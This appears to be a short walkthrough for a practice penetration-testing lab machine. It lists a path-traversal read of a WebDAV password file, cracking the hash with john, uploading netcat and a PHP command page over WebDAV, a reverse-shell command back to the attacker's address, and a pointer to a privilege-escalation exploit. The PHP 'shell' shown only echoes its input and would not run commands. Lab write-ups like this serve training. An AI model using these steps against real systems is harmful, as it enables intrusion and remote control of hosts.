Codiod (.55)	
Operating System	Windows
Points	20
Similar Machine (User)	
Similar Machine (Root)	

Exploits in Getting User

1. Simple nmap will show /dashboard so directory brute force that
2. LFI in compontents/filemanager/download.php?path=../../../../../../../../../../xampp/security/webdav.htpasswd
3. Brute force the hash: john --wordlist=rockyou.txt hash.txt
4. Upload netcat: curl --user 'wampp:iamdifferent' -Tnc.exe http://192.168.XX.55/webdav/nc.exe
5. Upload the reverse shell using the same process above: <?php echo($_GET[‘cmd’]);?>
6. Start a netcat listener
7. curl --user 'wampp:iamdifferent' http://192.168.XX.55/webdav/cmd.php?cmd=nc+-e+cmd.exe+192.168.XX.XX+53
8. User Shell!

Privilege Escalation to Root

1. WebDAV Elevation of Privilege Vulnerability - CVE-2016-0051
2. Method 2 in https://hacknpentest.com/webdav-exploit-elevation-of-privilege/
3. Exploit: https://github.com/hexx0r/CVE-2016-0051
4. Root shell!